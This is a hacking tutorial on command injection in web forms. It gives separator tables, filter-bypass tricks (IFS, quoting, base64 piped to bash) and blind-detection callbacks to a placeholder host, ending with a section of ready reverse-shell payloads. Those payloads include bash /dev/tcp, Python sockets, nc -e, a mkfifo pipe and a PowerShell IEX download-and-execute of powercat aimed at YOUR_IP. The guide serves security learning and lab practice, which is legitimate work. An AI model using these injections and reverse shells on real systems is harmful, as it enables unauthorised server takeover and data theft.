Running Commands Through a Web App
Some web applications need to interact with the operating system. A form that pings an IP, a tool that converts files, a page that clones a git repo. Under the hood, these features build a shell command from your input and execute it.
If the application doesn’t sanitize that input, you can inject your own commands alongside the intended one.
If a web form looks like it’s running a system command, it probably is. And if it is, it’s worth testing for injection.
How It Works
Say a web app takes a URL and runs git clone on it:
git clone https://github.com/some/repoBut what if you add a semicolon and another command?
git clone https://github.com/some/repo; whoamiThe shell sees two commands separated by ;. It runs git clone, then runs whoami. Your injected command executes on the server.
Command Separators
Different characters let you chain commands. Try all of them, because filters often block some but not others.
| Separator | What it does | Example |
|---|---|---|
; | Run both, regardless of success | ping; whoami |
&& | Run second only if first succeeds | ping && whoami |
\|\| | Run second only if first fails | ping \|\| whoami |
\| | Pipe output of first to second | ping \| whoami |
` | Execute inline (backticks) | ping `whoami` |
$() | Command substitution | ping $(whoami) |
%0a | Newline (URL encoded) | ping%0awhoami |
Semicolons are blocked? Try
||. Pipes blocked? Try%0a. There are many ways to separate commands, and filters rarely catch them all.
Identifying Command Injection
What to Look For
Any web form or parameter that seems to interact with the OS:
- Ping/traceroute tools - “Enter an IP to ping”
- File operations - “Convert this file”, “Download from URL”
- System utilities - “Clone a repository”, “Check DNS”
- Search functions that call system tools like
greporfind - Admin panels with diagnostic or management features
Testing Step by Step
- Submit a valid input first to see normal behavior
- Try injecting a simple command after a separator:
- Linux:
; idor; whoami - Windows:
& ipconfigor| whoami
- Linux:
- If the output is visible, look for your command’s result in the response
- If the output is blind (no visible result), try a time-based test:
- Linux:
; sleep 5(response delayed by 5 seconds?) - Windows:
& ping -n 5 127.0.0.1(delayed?)
- Linux:
Blind Command Injection
Sometimes the command executes but you can’t see the output. Confirm injection with:
- Time delays -
; sleep 10makes the response noticeably slower - DNS lookups -
; nslookup YOUR_DOMAINand check your DNS logs - HTTP callbacks -
; curl http://YOUR_IP/proofand check your web server logs - File creation -
; touch /tmp/proofthen check via another vulnerability
Bypassing Filters
Applications often filter dangerous characters or commands. Here’s how to get around them.
Dealing with Spaces
If the application breaks on spaces in your injected command:
| Technique | Example | What it does |
|---|---|---|
| URL encoding | cat%20/etc/passwd | %20 = space |
| Tab | cat%09/etc/passwd | %09 = tab |
| IFS variable | cat${IFS}/etc/passwd | ${IFS} = space in bash |
| Brace expansion | {cat,/etc/passwd} | No spaces needed at all |
Dealing with Blocked Commands
If the filter blocks specific command names like cat or whoami:
| Technique | Example |
|---|---|
| Alternative commands | tac instead of cat, id instead of whoami |
| Quotes | w'h'oami or w"h"oami (bash ignores quotes mid-word) |
| Backslash | w\hoami |
| Variable insertion | who$()ami (empty substitution, no effect) |
| Base64 encoding | echo d2hvYW1p \| base64 -d \| bash |
URL Encoding Special Characters
When injecting via URL parameters or POST data, encode the separators:
| Character | URL Encoded |
|---|---|
; | %3B |
& | %26 |
\| | %7C |
| space | %20 |
| newline | %0A |
# Inject ipconfig after git using encoded semicolon
curl -X POST --data 'Archive=git%3Bipconfig' http://target:8000/archiveDetermining the Shell
On Windows targets, you need to know if you’re in CMD or PowerShell before crafting payloads. This snippet tells you:
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell URL-encode and inject it. The output will say either “CMD” or “PowerShell”.
Why it matters:
- CMD uses
dir,type,&for chaining - PowerShell uses
Get-ChildItem,Get-Content,Invoke-WebRequest - Reverse shell payloads are completely different between the two
From Injection to Reverse Shell
Once you’ve confirmed command injection, upgrade to a full interactive shell.
Linux
Start a listener:
nc -nvlp 4444Inject the reverse shell (URL-encode for web delivery):
bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'If bash is filtered, try alternatives:
- Python:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("YOUR_IP",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")' - nc:
nc YOUR_IP 4444 -e /bin/bash - mkfifo:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f
Windows (PowerShell)
- Host Powercat on your machine:
python3 -m http.server 80- Start a listener:
nc -nvlp 4444- Inject the download-and-execute command:
IEX (New-Object System.Net.Webclient).DownloadString("http://YOUR_IP/powercat.ps1");powercat -c YOUR_IP -p 4444 -e powershellURL-encode the entire payload and inject via the vulnerable parameter.
Always have multiple reverse shell payloads ready. If one is blocked, try another. RevShells generates payloads for every language and encoding.
Practice Boxes
- Shocker - Shellshock command injection via CGI
- Bashed - Web shell leading to command execution
- Pickle Rick - Command injection with filter bypasses